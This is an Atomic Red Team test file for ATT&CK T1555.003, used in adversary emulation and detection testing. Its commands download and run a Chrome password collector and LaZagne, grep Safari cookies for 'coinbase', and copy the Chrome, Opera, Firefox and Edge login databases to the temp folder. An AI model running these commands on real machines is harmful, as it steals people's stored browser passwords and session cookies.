attack_technique: T1555.003
display_name: "Credentials from Password Stores: Credentials from Web Browsers"
atomic_tests:
- name: Run Chrome-password Collector
  auto_generated_guid: 8c05b133-d438-47ca-a630-19cc464c4622
  description: |
    A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

    Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb.

    Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)
  supported_platforms:
  - windows
  input_arguments:
    file_path:
      description: File path for modified Sysinternals
      type: String
      default: $env:TEMP
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Modified Sysinternals must be located at #{file_path}
    prereq_command: |
      if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
      Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
      Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force
  executor:
    command: |
      Set-Location -path "#{file_path}\Sysinternals";
      ./accesschk.exe -accepteula .;
    cleanup_command: |
      Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction Ignore
    name: powershell
- name: Search macOS Safari Cookies
  auto_generated_guid: c1402f7b-67ca-43a8-b5f3-3143abedc01b
  description: |
    This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

    Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.
  supported_platforms:
  - macos
  input_arguments:
    search_string:
      description: String to search Safari cookies to find.
      type: String
      default: coinbase
  executor:
    command: |
      cd ~/Library/Cookies
      grep -q "#{search_string}" "Cookies.binarycookies"
    name: sh
- name: LaZagne - Credentials from Browser
  auto_generated_guid: 9a2915b3-3954-4cce-8c76-00fbf4dbd014
  description: |
    The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.
    LaZagne is an open source application used to retrieve passwords stored on a local computer. 
  supported_platforms:
    - windows
  input_arguments:
    lazagne_path:
      description: Path to LaZagne
      type: Path
      default: PathToAtomicsFolder\T1555.003\bin\LaZagne.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      LaZagne.exe must exist on disk at specified location (#{lazagne_path})
    prereq_command: |
      if (Test-Path #{lazagne_path}) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory (split-path #{lazagne_path}) -ErrorAction ignore | Out-Null
      Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe" -OutFile "#{lazagne_path}"
  executor:
    name: command_prompt
    elevation_required: true
    command: |
      #{lazagne_path} browsers
- name: Simulating access to Chrome Login Data
  auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d
  description: |
    Simulates an adversary accessing encrypted credentials from Google Chrome Login database. 
  supported_platforms:
    - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Chrome must be installed
    prereq_command: 'if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1}'
    get_prereq_command: | 
      $installer = "$env:temp\ChromeStandaloneSetup64.msi"
      Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi
      msiexec /i $installer /qn
      Start-Process -FilePath "chrome.exe"
      Stop-Process -Name "chrome"
  executor:
    name: powershell
    command: |
      Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination $env:temp
      Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination $env:temp
    cleanup_command: |
      Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore
      Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore
- name: Simulating access to Opera Login Data
  auto_generated_guid: 28498c17-57e4-495a-b0be-cc1e36de408b
  description: |
    Simulates an adversary accessing encrypted credentials from Opera web browser's login database. 
  supported_platforms:
    - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Opera must be installed
    prereq_command: 'if (((Test-Path "$env:LOCALAPPDATA\Programs\Opera\launcher.exe") -Or (Test-Path "C:\Program Files\Opera\launcher.exe") -Or (Test-Path "C:\Program Files (x86)\Opera\launcher.exe"))) {exit 0} else {exit 1}'      
    get_prereq_command: | 
      $installer = "$env:temp\OperaStandaloneInstaller.exe"
      Invoke-WebRequest -OutFile $env:temp\OperaStandaloneInstaller.exe https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe
      Start-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'
      Start-Sleep -s 180
      Stop-Process -Name "opera"
  - description: |
      Opera login data file must exist
    prereq_command: 'if (Test-Path "$env:APPDATA\Opera Software\Opera Stable\Login Data") {exit 0} else {exit 1}'    
    get_prereq_command: | 
      New-Item -Path "$env:APPDATA\Opera Software\Opera Stable\Login Data" -ItemType File
  executor:
    name: powershell
    command: |
      Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination $env:temp
    cleanup_command: |
      Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore
- name: Simulating access to Windows Firefox Login Data
  auto_generated_guid: eb8da98a-2e16-4551-b3dd-83de49baa14c
  description: |
    Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
    more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
  supported_platforms:
    - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Firefox must be installed
    prereq_command: 'if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1}'      
    get_prereq_command: |
      if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"}else {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US"}
      $installer = "$env:temp\firefoxsetup.exe"
      (New-Object Net.WebClient).DownloadFile($url,$installer)
      Start-Process $installer -ArgumentList '/S' -Wait
  - description: |
      Firefox login data file must exist
    prereq_command: 'if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit 0} else {exit 1}'    
    get_prereq_command: | 
      if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox="C:\Program Files\Mozilla Firefox\firefox.exe"}else {$firefox="C:\Program Files (x86)\Mozilla Firefox\firefox.exe"}
      Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait
      Start-Process $firefox -NoNewWindow
      Start-Sleep -s 20
      Stop-Process -Name firefox
  executor:
    name: powershell
    command: |
      Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination $env:temp -Force -Recurse
    cleanup_command: |
      Remove-Item -Path "$env:temp\Profiles" -Force -ErrorAction Ignore -Recurse
- name: Simulating access to Windows Edge Login Data
  auto_generated_guid: a6a5ec26-a2d1-4109-9d35-58b867689329
  description: |
    Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
    more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/
  supported_platforms:
    - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Edge must be installed
    prereq_command: 'if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe") {exit 0} else {exit 1}'      
    get_prereq_command: |
      "Installation is not implemented as Edge is a part of windows"
  - description: |
      Edge login data file must exist
    prereq_command: 'if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default") {exit 0} else {exit 1}'    
    get_prereq_command: | 
      $edge="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      Start-Process $edge 
      Start-Sleep -s 20
      Stop-Process -Name msedge
  executor:
    name: powershell
    command: |
      Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination $env:temp\Edge -Force -Recurse
    cleanup_command: |
      Remove-Item -Path "$env:temp\Edge" -Force -ErrorAction Ignore -Recurse